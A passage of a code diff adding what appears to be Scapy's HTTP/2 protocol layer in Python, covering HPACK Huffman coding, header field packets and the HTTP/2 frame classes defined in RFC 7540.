+ (0x3ffffec, 26), + (0x3ffffed, 26), + (0x7ffffe7, 27), + (0x7ffffe8, 27), + (0x7ffffe9, 27), + (0x7ffffea, 27), + (0x7ffffeb, 27), + (0xffffffe, 28), + (0x7ffffec, 27), + (0x7ffffed, 27), + (0x7ffffee, 27), + (0x7ffffef, 27), + (0x7fffff0, 27), + (0x3ffffee, 26), + (0x3fffffff, 30) + ] + + static_huffman_tree = None # type: HuffmanNode + + @classmethod + def _huffman_encode_char(cls, c): + # type: (Union[str, EOS]) -> Tuple[int, int] + """ huffman_encode_char assumes that the static_huffman_tree was + previously initialized + + :param str|EOS c: a symbol to encode + :return: (int, int): the bitstring of the symbol and its bitlength + :raises: AssertionError + """ + if isinstance(c, EOS): + return cls.static_huffman_code[-1] + else: + assert(isinstance(c, int) or len(c) == 1) + return cls.static_huffman_code[orb(c)] + + @classmethod + def huffman_encode(cls, s): + # type: (str) -> Tuple[int, int] + """ huffman_encode returns the bitstring and the bitlength of the + bitstring representing the string provided as a parameter + + :param str s: the string to encode + :return: (int, int): the bitstring of s and its bitlength + :raises: AssertionError + """ + i = 0 + ibl = 0 + for c in s: + val, bl = cls._huffman_encode_char(c) + i = (i << bl) + val + ibl += bl + + padlen = 8 - (ibl % 8) + if padlen != 8: + val, bl = cls._huffman_encode_char(EOS()) + i = (i << padlen) + (val >> (bl - padlen)) + ibl += padlen + + ret = i, ibl + assert(ret[0] >= 0) + assert (ret[1] >= 0) + return ret + + @classmethod + def huffman_decode(cls, i, ibl): + # type: (int, int) -> str + """ huffman_decode decodes the bitstring provided as parameters. + + :param int i: the bitstring to decode + :param int ibl: the bitlength of i + :return: str: the string decoded from the bitstring + :raises: AssertionError, InvalidEncodingException + """ + assert(i >= 0) + assert(ibl >= 0) + + if isinstance(cls.static_huffman_tree, type(None)): + cls.huffman_compute_decode_tree() + assert(not isinstance(cls.static_huffman_tree, type(None))) + + s = [] + j = 0 + interrupted = False + cur = cls.static_huffman_tree + cur_sym = 0 + cur_sym_bl = 0 + while j < ibl: + b = (i >> (ibl - j - 1)) & 1 + cur_sym = (cur_sym << 1) + b + cur_sym_bl += 1 + elmt = cur[b] + + if isinstance(elmt, HuffmanNode): + interrupted = True + cur = elmt + if isinstance(cur, type(None)): + raise AssertionError() + elif isinstance(elmt, EOS): + raise InvalidEncodingException('Huffman decoder met the full EOS symbol') # noqa: E501 + elif isinstance(elmt, bytes): + interrupted = False + s.append(elmt) + cur = cls.static_huffman_tree + cur_sym = 0 + cur_sym_bl = 0 + else: + raise InvalidEncodingException('Should never happen, so incidentally it will') # noqa: E501 + j += 1 + + if interrupted: + # Interrupted values true if the bitstring ends in the middle of a + # symbol; this symbol must be, according to RFC7541 par5.2 the MSB + # of the EOS symbol + if cur_sym_bl > 7: + raise InvalidEncodingException('Huffman decoder is detecting padding longer than 7 bits') # noqa: E501 + eos_symbol = cls.static_huffman_code[-1] + eos_msb = eos_symbol[0] >> (eos_symbol[1] - cur_sym_bl) + if eos_msb != cur_sym: + raise InvalidEncodingException('Huffman decoder is detecting unexpected padding format') # noqa: E501 + return b''.join(s) + + @classmethod + def huffman_conv2str(cls, bit_str, bit_len): + # type: (int, int) -> str + """ huffman_conv2str converts a bitstring of bit_len bitlength into a + binary string. It DOES NOT compress/decompress the bitstring! + + :param int bit_str: the bitstring to convert. + :param int bit_len: the bitlength of bit_str. + :return: str: the converted bitstring as a bytestring. + :raises: AssertionError + """ + assert(bit_str >= 0) + assert(bit_len >= 0) + + byte_len = bit_len // 8 + rem_bit = bit_len % 8 + if rem_bit != 0: + bit_str <<= 8 - rem_bit + byte_len += 1 + + # As usual the list/join tricks is a performance trick to build + # efficiently a Python string + s = [] # type: List[str] + i = 0 + while i < byte_len: + s.insert(0, chb((bit_str >> (i * 8)) & 0xFF)) + i += 1 + return b''.join(s) + + @classmethod + def huffman_conv2bitstring(cls, s): + # type: (str) -> Tuple[int, int] + """ huffman_conv2bitstring converts a string into its bitstring + representation. It returns a tuple: the bitstring and its bitlength. + This function DOES NOT compress/decompress the string! + + :param str s: the bytestring to convert. + :return: (int, int): the bitstring of s, and its bitlength. + :raises: AssertionError + """ + i = 0 + ibl = len(s) * 8 + for c in s: + i = (i << 8) + orb(c) + + ret = i, ibl + assert(ret[0] >= 0) + assert(ret[1] >= 0) + return ret + + @classmethod + def huffman_compute_decode_tree(cls): + # type: () -> None + """ huffman_compute_decode_tree initializes/builds the static_huffman_tree + + :return: None + :raises: InvalidEncodingException if there is an encoding problem + """ + cls.static_huffman_tree = HuffmanNode(None, None) + i = 0 + for entry in cls.static_huffman_code: + parent = cls.static_huffman_tree + for idx in range(entry[1] - 1, -1, -1): + b = (entry[0] >> idx) & 1 + if isinstance(parent[b], bytes): + raise InvalidEncodingException('Huffman unique prefix violation :/') # noqa: E501 + if idx == 0: + parent[b] = chb(i) if i < 256 else EOS() + elif parent[b] is None: + parent[b] = HuffmanNode(None, None) + parent = parent[b] + i += 1 + + def __init__(self, s): + # type: (str) -> None + self._s = s + i, ibl = type(self).huffman_encode(s) + self._encoded = type(self).huffman_conv2str(i, ibl) + + def __str__(self): + # type: () -> str + return self._encoded + + def origin(self): + # type: () -> str + return plain_str(self._s) + + def __len__(self): + # type: () -> int + return len(self._encoded) + + +class HPackStrLenField(fields.Field): + """ HPackStrLenField is a StrLenField variant specialized for HTTP/2 HPack + + This variant uses an internal representation that implements HPackStringsInterface. # noqa: E501 + """ + __slots__ = ['_length_from', '_type_from'] + + def __init__(self, name, default, length_from, type_from): + # type: (str, HPackStringsInterface, Callable[[packet.Packet], int], str) -> None # noqa: E501 + super(HPackStrLenField, self).__init__(name, default) + self._length_from = length_from + self._type_from = type_from + + def addfield(self, pkt, s, val): + # type: (Optional[packet.Packet], str, HPackStringsInterface) -> str + return s + self.i2m(pkt, val) + + @staticmethod + def _parse(t, s): + # type: (bool, str) -> HPackStringsInterface + """ + :param bool t: whether this string is a huffman compressed string. + :param str s: the string to parse. + :return: HPackStringsInterface: either a HPackLiteralString or HPackZString, depending on t. # noqa: E501 + :raises: InvalidEncodingException + """ + if t: + i, ibl = HPackZString.huffman_conv2bitstring(s) + return HPackZString(HPackZString.huffman_decode(i, ibl)) + return HPackLiteralString(s) + + def getfield(self, pkt, s): + # type: (packet.Packet, str) -> Tuple[str, HPackStringsInterface] + """ + :param packet.Packet pkt: the packet instance containing this field instance. # noqa: E501 + :param str s: the string to parse this field from. + :return: (str, HPackStringsInterface): the remaining string after this field was carved out & the extracted # noqa: E501 + value. + :raises: KeyError if "type_from" is not a field of pkt or its payloads. + :raises: InvalidEncodingException + """ + tmp_len = self._length_from(pkt) + t = pkt.getfieldval(self._type_from) == 1 + return s[tmp_len:], self._parse(t, s[:tmp_len]) + + def i2h(self, pkt, x): + # type: (Optional[packet.Packet], HPackStringsInterface) -> str + fmt = '' + if isinstance(x, HPackLiteralString): + fmt = "HPackLiteralString({})" + elif isinstance(x, HPackZString): + fmt = "HPackZString({})" + return fmt.format(x.origin()) + + def h2i(self, pkt, x): + # type: (packet.Packet, str) -> HPackStringsInterface + return HPackLiteralString(x) + + def m2i(self, pkt, x): + # type: (packet.Packet, str) -> HPackStringsInterface + """ + :param packet.Packet pkt: the packet instance containing this field instance. # noqa: E501 + :param str x: the string to parse. + :return: HPackStringsInterface: the internal type of the value parsed from x. # noqa: E501 + :raises: AssertionError + :raises: InvalidEncodingException + :raises: KeyError if _type_from is not one of pkt fields. + """ + t = pkt.getfieldval(self._type_from) + tmp_len = self._length_from(pkt) + + assert t is not None and tmp_len is not None, 'Conversion from string impossible: no type or length specified' # noqa: E501 + + return self._parse(t == 1, x[:tmp_len]) + + def any2i(self, pkt, x): + # type: (Optional[packet.Packet], Union[str, HPackStringsInterface]) -> HPackStringsInterface # noqa: E501 + """ + :param packet.Packet|None pkt: the packet instance containing this field instance. # noqa: E501 + :param str|HPackStringsInterface x: the value to convert + :return: HPackStringsInterface: the Scapy internal value for this field + :raises: AssertionError, InvalidEncodingException + """ + if isinstance(x, bytes): + assert(isinstance(pkt, packet.Packet)) + return self.m2i(pkt, x) + assert(isinstance(x, HPackStringsInterface)) + return x + + def i2m(self, pkt, x): + # type: (Optional[packet.Packet], HPackStringsInterface) -> str + return raw(x) + + def i2len(self, pkt, x): + # type: (Optional[packet.Packet], HPackStringsInterface) -> int + return len(x) + + def i2repr(self, pkt, x): + # type: (Optional[packet.Packet], HPackStringsInterface) -> str + return repr(self.i2h(pkt, x)) + +############################################################################### +# HPACK Packets # +############################################################################### + + +class HPackHdrString(packet.Packet): + """ HPackHdrString is a packet that that is serialized into a RFC7541 par5.2 + string literal repr. + """ + name = 'HPack Header String' + fields_desc = [ + fields.BitEnumField('type', None, 1, {0: 'Literal', 1: 'Compressed'}), + FieldUVarLenField('len', None, 7, length_of='data'), + HPackStrLenField( + 'data', HPackLiteralString(''), + length_from=lambda pkt: pkt.getfieldval('len'), + type_from='type' + ) + ] + + def guess_payload_class(self, payload): + # type: (str) -> Packet_metaclass + # Trick to tell scapy that the remaining bytes of the currently + # dissected string is not a payload of this packet but of some other + # underlayer packet + return config.conf.padding_layer + + def self_build(self, field_pos_list=None): + # type: (Any) -> str + """self_build is overridden because type and len are determined at + build time, based on the "data" field internal type + """ + if self.getfieldval('type') is None: + self.type = 1 if isinstance(self.getfieldval('data'), HPackZString) else 0 # noqa: E501 + return super(HPackHdrString, self).self_build(field_pos_list) + + +class HPackHeaders(packet.Packet): + """HPackHeaders uses the "dispatch_hook" trick of Packet_metaclass to select + the correct HPack header packet type. For this, the first byte of the string # noqa: E501 + to dissect is snooped on. + """ + @classmethod + def dispatch_hook(cls, s=None, *_args, **_kwds): + # type: (Optional[str], *Any, **Any) -> Packet_metaclass + """dispatch_hook returns the subclass of HPackHeaders that must be used + to dissect the string. + """ + if s is None: + return config.conf.raw_layer + fb = orb(s[0]) + if fb & 0x80 != 0: + return HPackIndexedHdr + if fb & 0x40 != 0: + return HPackLitHdrFldWithIncrIndexing + if fb & 0x20 != 0: + return HPackDynamicSizeUpdate + return HPackLitHdrFldWithoutIndexing + + def guess_payload_class(self, payload): + # type: (str) -> Packet_metaclass + return config.conf.padding_layer + + +class HPackIndexedHdr(HPackHeaders): + """ HPackIndexedHdr implements RFC 7541 par6.1 + """ + name = 'HPack Indexed Header Field' + fields_desc = [ + HPackMagicBitField('magic', 1, 1), + UVarIntField('index', 2, 7) # Default "2" is ":method GET" + ] + + +class HPackLitHdrFldWithIncrIndexing(HPackHeaders): + """ HPackLitHdrFldWithIncrIndexing implements RFC 7541 par6.2.1 + """ + name = 'HPack Literal Header With Incremental Indexing' + fields_desc = [ + HPackMagicBitField('magic', 1, 2), + UVarIntField('index', 0, 6), # Default is New Name + fields.ConditionalField( + fields.PacketField('hdr_name', None, HPackHdrString), + lambda pkt: pkt.getfieldval('index') == 0 + ), + fields.PacketField('hdr_value', None, HPackHdrString) + ] + + +class HPackLitHdrFldWithoutIndexing(HPackHeaders): + """ HPackLitHdrFldWithIncrIndexing implements RFC 7541 par6.2.2 + and par6.2.3 + """ + name = 'HPack Literal Header Without Indexing (or Never Indexing)' + fields_desc = [ + HPackMagicBitField('magic', 0, 3), + fields.BitEnumField( + 'never_index', 0, 1, + {0: "Don't Index", 1: 'Never Index'} + ), + UVarIntField('index', 0, 4), # Default is New Name + fields.ConditionalField( + fields.PacketField('hdr_name', None, HPackHdrString), + lambda pkt: pkt.getfieldval('index') == 0 + ), + fields.PacketField('hdr_value', None, HPackHdrString) + ] + + +class HPackDynamicSizeUpdate(HPackHeaders): + """ HPackDynamicSizeUpdate implements RFC 7541 par6.3 + """ + name = 'HPack Dynamic Size Update' + fields_desc = [ + HPackMagicBitField('magic', 1, 3), + UVarIntField('max_size', 0, 5) + ] + +############################################################################### +# HTTP/2 Frames # +############################################################################### + + +class H2FramePayload(packet.Packet): + """ H2FramePayload is an empty class that is a super class of all Scapy + HTTP/2 Frame Packets + """ + +# HTTP/2 Data Frame Packets # # noqa: E501 + + +class H2DataFrame(H2FramePayload): + """ H2DataFrame implements RFC7540 par6.1 + This packet is the Data Frame to use when there is no padding. + """ + type_id = 0 + END_STREAM_FLAG = 0 # 0x1 + PADDED_FLAG = 3 # 0x8 + flags = { + END_STREAM_FLAG: fields.MultiFlagsEntry('ES', 'End Stream'), + PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded') + } + + name = 'HTTP/2 Data Frame' + fields_desc = [ + fields.StrField('data', '') + ] + + +class H2PaddedDataFrame(H2DataFrame): + """ H2DataFrame implements RFC7540 par6.1 + This packet is the Data Frame to use when there is padding. + """ + __slots__ = ['s_len'] + + name = 'HTTP/2 Padded Data Frame' + fields_desc = [ + fields.FieldLenField('padlen', None, length_of='padding', fmt="B"), + fields.StrLenField('data', '', + length_from=lambda pkt: pkt.get_data_len() + ), + fields.StrLenField('padding', '', + length_from=lambda pkt: pkt.getfieldval('padlen') + ) + ] + + def get_data_len(self): + # type: () -> int + """ get_data_len computes the length of the data field + + To do this computation, the length of the padlen field and the actual + padding is subtracted to the string that was provided to the pre_dissect # noqa: E501 + fun of the pkt parameter + :return: int; length of the data part of the HTTP/2 frame packet provided as parameter # noqa: E501 + :raises: AssertionError + """ + padding_len = self.getfieldval('padlen') + fld, fval = self.getfield_and_val('padlen') + padding_len_len = fld.i2len(self, fval) + + ret = self.s_len - padding_len_len - padding_len + assert(ret >= 0) + return ret + + def pre_dissect(self, s): + # type: (str) -> str + """pre_dissect is filling the s_len property of this instance. This + property is later used during the getfield call of the "data" field when # noqa: E501 + trying to evaluate the length of the StrLenField! This "trick" works + because the underlayer packet (H2Frame) is assumed to override the + "extract_padding" method and to only provide to this packet the data + necessary for this packet. Tricky, tricky, will break some day probably! # noqa: E501 + """ + self.s_len = len(s) + return s + + +# HTTP/2 Header Frame Packets # # noqa: E501 + +class H2AbstractHeadersFrame(H2FramePayload): + """Superclass of all variants of HTTP/2 Header Frame Packets. + May be used for type checking. + """ + + +class H2HeadersFrame(H2AbstractHeadersFrame): + """ H2HeadersFrame implements RFC 7540 par6.2 Headers Frame + when there is no padding and no priority information + + The choice of decomposing into four classes is probably preferable to having # noqa: E501 + numerous conditional fields based on the underlayer :/ + """ + type_id = 1 + END_STREAM_FLAG = 0 # 0x1 + END_HEADERS_FLAG = 2 # 0x4 + PADDED_FLAG = 3 # 0x8 + PRIORITY_FLAG = 5 # 0x20 + flags = { + END_STREAM_FLAG: fields.MultiFlagsEntry('ES', 'End Stream'), + END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers'), + PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded'), + PRIORITY_FLAG: fields.MultiFlagsEntry('+', 'Priority') + } + + name = 'HTTP/2 Headers Frame' + fields_desc = [ + fields.PacketListField('hdrs', [], HPackHeaders) + ] + + +class H2PaddedHeadersFrame(H2AbstractHeadersFrame): + """ H2PaddedHeadersFrame is the variant of H2HeadersFrame where padding flag + is set and priority flag is cleared + """ + __slots__ = ['s_len'] + + name = 'HTTP/2 Headers Frame with Padding' + fields_desc = [ + fields.FieldLenField('padlen', None, length_of='padding', fmt='B'), + fields.PacketListField('hdrs', [], HPackHeaders, + length_from=lambda pkt: pkt.get_hdrs_len() + ), + fields.StrLenField('padding', '', + length_from=lambda pkt: pkt.getfieldval('padlen') + ) + ] + + def get_hdrs_len(self): + # type: () -> int + """ get_hdrs_len computes the length of the hdrs field + + To do this computation, the length of the padlen field and the actual + padding is subtracted to the string that was provided to the pre_dissect # noqa: E501 + fun of the pkt parameter. + :return: int; length of the data part of the HTTP/2 frame packet provided as parameter # noqa: E501 + :raises: AssertionError + """ + padding_len = self.getfieldval('padlen') + fld, fval = self.getfield_and_val('padlen') + padding_len_len = fld.i2len(self, fval) + + ret = self.s_len - padding_len_len - padding_len + assert(ret >= 0) + return ret + + def pre_dissect(self, s): + # type: (str) -> str + """pre_dissect is filling the s_len property of this instance. This + property is later used during the parsing of the hdrs PacketListField + when trying to evaluate the length of the PacketListField! This "trick" + works because the underlayer packet (H2Frame) is assumed to override the # noqa: E501 + "extract_padding" method and to only provide to this packet the data + necessary for this packet. Tricky, tricky, will break some day probably! # noqa: E501 + """ + self.s_len = len(s) + return s + + +class H2PriorityHeadersFrame(H2AbstractHeadersFrame): + """ H2PriorityHeadersFrame is the variant of H2HeadersFrame where priority flag + is set and padding flag is cleared + """ + __slots__ = ['s_len'] + + name = 'HTTP/2 Headers Frame with Priority' + fields_desc = [ + fields.BitField('exclusive', 0, 1), + fields.BitField('stream_dependency', 0, 31), + fields.ByteField('weight', 0), + # This PacketListField will consume all remaining bytes; not a problem + # because the underlayer (H2Frame) overrides "extract_padding" so that + # this Packet only get to parser what it needs to + fields.PacketListField('hdrs', [], HPackHeaders), + ] + + +class H2PaddedPriorityHeadersFrame(H2AbstractHeadersFrame): + """ H2PaddedPriorityHeadersFrame is the variant of H2HeadersFrame where + both priority and padding flags are set + """ + __slots__ = ['s_len'] + + name = 'HTTP/2 Headers Frame with Padding and Priority' + fields_desc = [ + fields.FieldLenField('padlen', None, length_of='padding', fmt='B'), + fields.BitField('exclusive', 0, 1), + fields.BitField('stream_dependency', 0, 31), + fields.ByteField('weight', 0), + fields.PacketListField('hdrs', [], HPackHeaders, + length_from=lambda pkt: pkt.get_hdrs_len() + ), + fields.StrLenField('padding', '', + length_from=lambda pkt: pkt.getfieldval('padlen') + ) + ] + + def get_hdrs_len(self): + # type: () -> int + """ get_hdrs_len computes the length of the hdrs field + + To do this computation, the length of the padlen field, the priority + information fields and the actual padding is subtracted to the string + that was provided to the pre_dissect fun of the pkt parameter. + :return: int: the length of the hdrs field + :raises: AssertionError + """ + + padding_len = self.getfieldval('padlen') + fld, fval = self.getfield_and_val('padlen') + padding_len_len = fld.i2len(self, fval) + bit_cnt = self.get_field('exclusive').size + bit_cnt += self.get_field('stream_dependency').size + fld, fval = self.getfield_and_val('weight') + weight_len = fld.i2len(self, fval) + ret = int(self.s_len - + padding_len_len - + padding_len - + (bit_cnt / 8) - + weight_len + ) + assert(ret >= 0) + return ret + + def pre_dissect(self, s): + # type: (str) -> str + """pre_dissect is filling the s_len property of this instance. This + property is later used during the parsing of the hdrs PacketListField + when trying to evaluate the length of the PacketListField! This "trick" + works because the underlayer packet (H2Frame) is assumed to override the # noqa: E501 + "extract_padding" method and to only provide to this packet the data + necessary for this packet. Tricky, tricky, will break some day probably! # noqa: E501 + """ + self.s_len = len(s) + return s + +# HTTP/2 Priority Frame Packets # # noqa: E501 + + +class H2PriorityFrame(H2FramePayload): + """ H2PriorityFrame implements RFC 7540 par6.3 + """ + type_id = 2 + name = 'HTTP/2 Priority Frame' + fields_desc = [ + fields.BitField('exclusive', 0, 1), + fields.BitField('stream_dependency', 0, 31), + fields.ByteField('weight', 0) + ] + +# HTTP/2 Errors # # noqa: E501 + + +class H2ErrorCodes(object): + """ H2ErrorCodes is an enumeration of the error codes defined in + RFC7540 par7. + This enumeration is not part of any frame because the error codes are in + common with H2ResetFrame and H2GoAwayFrame. + """ + + NO_ERROR = 0x0 + PROTOCOL_ERROR = 0x1 + INTERNAL_ERROR = 0x2 + FLOW_CONTROL_ERROR = 0x3 + SETTINGS_TIMEOUT = 0x4 + STREAM_CLOSED = 0x5 + FRAME_SIZE_ERROR = 0x6 + REFUSED_STREAM = 0x7 + CANCEL = 0x8 + COMPRESSION_ERROR = 0x9 + CONNECT_ERROR = 0xa + ENHANCE_YOUR_CALM = 0xb + INADEQUATE_SECURITY = 0xc + HTTP_1_1_REQUIRED = 0xd + + literal = { + NO_ERROR: 'No error', + PROTOCOL_ERROR: 'Protocol error', + INTERNAL_ERROR: 'Internal error', + FLOW_CONTROL_ERROR: 'Flow control error', + SETTINGS_TIMEOUT: 'Settings timeout', + STREAM_CLOSED: 'Stream closed', + FRAME_SIZE_ERROR: 'Frame size error', + REFUSED_STREAM: 'Refused stream', + CANCEL: 'Cancel', + COMPRESSION_ERROR: 'Compression error', + CONNECT_ERROR: 'Control error', + ENHANCE_YOUR_CALM: 'Enhance your calm', + INADEQUATE_SECURITY: 'Inadequate security', + HTTP_1_1_REQUIRED: 'HTTP/1.1 required' + } + + +# HTTP/2 Reset Frame Packets # # noqa: E501 + +class H2ResetFrame(H2FramePayload): + """ H2ResetFrame implements RFC 7540 par6.4 + """ + type_id = 3 + name = 'HTTP/2 Reset Frame' + fields_desc = [ + fields.EnumField('error', 0, H2ErrorCodes.literal, fmt='!I') + ] + + +# HTTP/2 Settings Frame Packets # # noqa: E501 + +class H2Setting(packet.Packet): + """ H2Setting implements a setting, as defined in RFC7540 par6.5.1 + """ + SETTINGS_HEADER_TABLE_SIZE = 0x1 + SETTINGS_ENABLE_PUSH = 0x2 + SETTINGS_MAX_CONCURRENT_STREAMS = 0x3 + SETTINGS_INITIAL_WINDOW_SIZE = 0x4 + SETTINGS_MAX_FRAME_SIZE = 0x5 + SETTINGS_MAX_HEADER_LIST_SIZE = 0x6 + + name = 'HTTP/2 Setting' + fields_desc = [ + fields.EnumField('id', 0, { + SETTINGS_HEADER_TABLE_SIZE: 'Header table size', + SETTINGS_ENABLE_PUSH: 'Enable push', + SETTINGS_MAX_CONCURRENT_STREAMS: 'Max concurrent streams', + SETTINGS_INITIAL_WINDOW_SIZE: 'Initial window size', + SETTINGS_MAX_FRAME_SIZE: 'Max frame size', + SETTINGS_MAX_HEADER_LIST_SIZE: 'Max header list size' + }, fmt='!H'), + fields.IntField('value', 0) + ] + + def guess_payload_class(self, payload): + # type: (str) -> Packet_metaclass + return config.conf.padding_layer + + +class H2SettingsFrame(H2FramePayload): + """ H2SettingsFrame implements RFC7540 par6.5 + """ + type_id = 4 + ACK_FLAG = 0 # 0x1 + flags = { + ACK_FLAG: fields.MultiFlagsEntry('A', 'ACK') + } + + name = 'HTTP/2 Settings Frame' + fields_desc = [ + fields.PacketListField('settings', [], H2Setting) + ] + + def __init__(self, *args, **kwargs): + """__init__ initializes this H2SettingsFrame + + If a _pkt arg is provided (by keyword), then this is an initialization + from a string to dissect and therefore the length of the string to + dissect have distinctive characteristics that we might want to check. + This is possible because the underlayer packet (H2Frame) overrides + extract_padding method to provided only the string that must be parsed + by this packet! + :raises: AssertionError + """ + + # RFC7540 par6.5 p36 + assert( + len(args) == 0 or ( + isinstance(args[0], bytes) and + len(args[0]) % 6 == 0 + ) + ), 'Invalid settings frame; length is not a multiple of 6' + super(H2SettingsFrame, self).__init__(*args, **kwargs) + +# HTTP/2 Push Promise Frame Packets # # noqa: E501 + + +class H2PushPromiseFrame(H2FramePayload): + """ H2PushPromiseFrame implements RFC7540 par6.6. This packet + is the variant to use when the underlayer padding flag is cleared + """ + type_id = 5 + END_HEADERS_FLAG = 2 # 0x4 + PADDED_FLAG = 3 # 0x8 + flags = { + END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers'), + PADDED_FLAG: fields.MultiFlagsEntry('P', 'Padded') + } + + name = 'HTTP/2 Push Promise Frame' + fields_desc = [ + fields.BitField('reserved', 0, 1), + fields.BitField('stream_id', 0, 31), + fields.PacketListField('hdrs', [], HPackHeaders) + ] + + +class H2PaddedPushPromiseFrame(H2PushPromiseFrame): + """ H2PaddedPushPromiseFrame implements RFC7540 par6.6. This + packet is the variant to use when the underlayer padding flag is set + """ + __slots__ = ['s_len'] + + name = 'HTTP/2 Padded Push Promise Frame' + fields_desc = [ + fields.FieldLenField('padlen', None, length_of='padding', fmt='B'), + fields.BitField('reserved', 0, 1), + fields.BitField('stream_id', 0, 31), + fields.PacketListField('hdrs', [], HPackHeaders, + length_from=lambda pkt: pkt.get_hdrs_len() + ), + fields.StrLenField('padding', '', + length_from=lambda pkt: pkt.getfieldval('padlen') + ) + ] + + def get_hdrs_len(self): + # type: () -> int + """ get_hdrs_len computes the length of the hdrs field + + To do this computation, the length of the padlen field, reserved, + stream_id and the actual padding is subtracted to the string that was + provided to the pre_dissect fun of the pkt parameter. + :return: int: the length of the hdrs field + :raises: AssertionError + """ + fld, padding_len = self.getfield_and_val('padlen') + padding_len_len = fld.i2len(self, padding_len) + bit_len = self.get_field('reserved').size + bit_len += self.get_field('stream_id').size + + ret = int(self.s_len - + padding_len_len - + padding_len - + (bit_len / 8) + ) + assert(ret >= 0) + return ret + + def pre_dissect(self, s): + # type: (str) -> str + """pre_dissect is filling the s_len property of this instance. This + property is later used during the parsing of the hdrs PacketListField + when trying to evaluate the length of the PacketListField! This "trick" + works because the underlayer packet (H2Frame) is assumed to override the # noqa: E501 + "extract_padding" method and to only provide to this packet the data + necessary for this packet. Tricky, tricky, will break some day probably! # noqa: E501 + """ + self.s_len = len(s) + return s + +# HTTP/2 Ping Frame Packets # # noqa: E501 + + +class H2PingFrame(H2FramePayload): + """ H2PingFrame implements the RFC 7540 par6.7 + """ + type_id = 6 + ACK_FLAG = 0 # 0x1 + flags = { + ACK_FLAG: fields.MultiFlagsEntry('A', 'ACK') + } + + name = 'HTTP/2 Ping Frame' + fields_desc = [ + fields.LongField('opaque', 0) + ] + + def __init__(self, *args, **kwargs): + """ + :raises: AssertionError + """ + # RFC7540 par6.7 p42 + assert( + len(args) == 0 or ( + (isinstance(args[0], bytes) or + isinstance(args[0], str)) and + len(args[0]) == 8 + ) + ), 'Invalid ping frame; length is not 8' + super(H2PingFrame, self).__init__(*args, **kwargs) + + +# HTTP/2 GoAway Frame Packets # # noqa: E501 + +class H2GoAwayFrame(H2FramePayload): + """ H2GoAwayFrame implements the RFC 7540 par6.8 + """ + type_id = 7 + + name = 'HTTP/2 Go Away Frame' + fields_desc = [ + fields.BitField('reserved', 0, 1), + fields.BitField('last_stream_id', 0, 31), + fields.EnumField('error', 0, H2ErrorCodes.literal, fmt='!I'), + fields.StrField('additional_data', '') + ] + +# HTTP/2 Window Update Frame Packets # # noqa: E501 + + +class H2WindowUpdateFrame(H2FramePayload): + """ H2WindowUpdateFrame implements the RFC 7540 par6.9 + """ + type_id = 8 + + name = 'HTTP/2 Window Update Frame' + fields_desc = [ + fields.BitField('reserved', 0, 1), + fields.BitField('win_size_incr', 0, 31) + ] + + def __init__(self, *args, **kwargs): + """ + :raises: AssertionError + """ + # RFC7540 par6.9 p46 + assert( + len(args) == 0 or ( + (isinstance(args[0], bytes) or + isinstance(args[0], str)) and + len(args[0]) == 4 + ) + ), 'Invalid window update frame; length is not 4' + super(H2WindowUpdateFrame, self).__init__(*args, **kwargs) + +# HTTP/2 Continuation Frame Packets # # noqa: E501 + + +class H2ContinuationFrame(H2FramePayload): + """ H2ContinuationFrame implements the RFC 7540 par6.10 + """ + type_id = 9 + END_HEADERS_FLAG = 2 # Ox4 + flags = { + END_HEADERS_FLAG: fields.MultiFlagsEntry('EH', 'End Headers') + } + + name = 'HTTP/2 Continuation Frame' + fields_desc = [ + fields.PacketListField('hdrs', [], HPackHeaders) + ] + +# HTTP/2 Base Frame Packets # # noqa: E501 + + +_HTTP2_types = { + 0: 'DataFrm', + 1: 'HdrsFrm', + 2: 'PrioFrm', + 3: 'RstFrm', + 4: 'SetFrm', + 5: 'PushFrm', + 6: 'PingFrm', + 7: 'GoawayFrm', + 8: 'WinFrm', + 9: 'ContFrm' +} + + +class H2Frame(packet.Packet): + """ H2Frame implements the frame structure as defined in RFC 7540 par4.1 + + This packet may have a payload (one of the H2FramePayload) or none, in some + rare cases such as settings acknowledgement) + """ + name = 'HTTP/2 Frame' + fields_desc = [ + fields.X3BytesField('len', None), + fields.EnumField('type', None, _HTTP2_types, "b"), + fields.MultiFlagsField('flags', set(), 8, { + H2DataFrame.type_id: H2DataFrame.flags, + H2HeadersFrame.type_id: H2HeadersFrame.flags, + H2PushPromiseFrame.type_id: H2PushPromiseFrame.flags, + H2SettingsFrame.type_id: H2SettingsFrame.flags, + H2PingFrame.type_id: H2PingFrame.flags, + H2ContinuationFrame.type_id: H2ContinuationFrame.flags, + }, + depends_on=lambda pkt: pkt.getfieldval('type') + ), + fields.BitField('reserved', 0, 1), + fields.BitField('stream_id', 0, 31) + ] + + def guess_payload_class(self, payload): + # type: (str) -> Packet_metaclass + """ guess_payload_class returns the Class object to use for parsing a payload + This function uses the H2Frame.type field value to decide which payload to parse. The implement cannot be # noqa: E501 + performed using the simple bind_layers helper because sometimes the selection of which Class object to return # noqa: E501 + also depends on the H2Frame.flags value. + + :param payload: + :return:: + """ + if len(payload) == 0: + return packet.NoPayload + + t = self.getfieldval('type') + if t == H2DataFrame.type_id: + if H2DataFrame.flags[H2DataFrame.PADDED_FLAG].short in self.getfieldval('flags'): # noqa: E501 + return H2PaddedDataFrame + return H2DataFrame + + if t == H2HeadersFrame.type_id: + if H2HeadersFrame.flags[H2HeadersFrame.PADDED_FLAG].short in self.getfieldval('flags'): # noqa: E501 + if H2HeadersFrame.flags[H2HeadersFrame.PRIORITY_FLAG].short in self.getfieldval('flags'): # noqa: E501 + return H2PaddedPriorityHeadersFrame + else: + return H2PaddedHeadersFrame + elif H2HeadersFrame.flags[H2HeadersFrame.PRIORITY_FLAG].short in self.getfieldval('flags'): # noqa: E501 + return H2PriorityHeadersFrame + return H2HeadersFrame + + if t == H2PriorityFrame.type_id: + return H2PriorityFrame + + if t == H2ResetFrame.type_id: + return H2ResetFrame + + if t == H2SettingsFrame.type_id: + return H2SettingsFrame + + if t == H2PushPromiseFrame.type_id: + if H2PushPromiseFrame.flags[H2PushPromiseFrame.PADDED_FLAG].short in self.getfieldval('flags'): # noqa: E501 + return H2PaddedPushPromiseFrame + return H2PushPromiseFrame + + if t == H2PingFrame.type_id: + return H2PingFrame + + if t == H2GoAwayFrame.type_id: + return H2GoAwayFrame + + if t == H2WindowUpdateFrame.type_id: + return H2WindowUpdateFrame + + if t == H2ContinuationFrame.type_id: + return H2ContinuationFrame + + 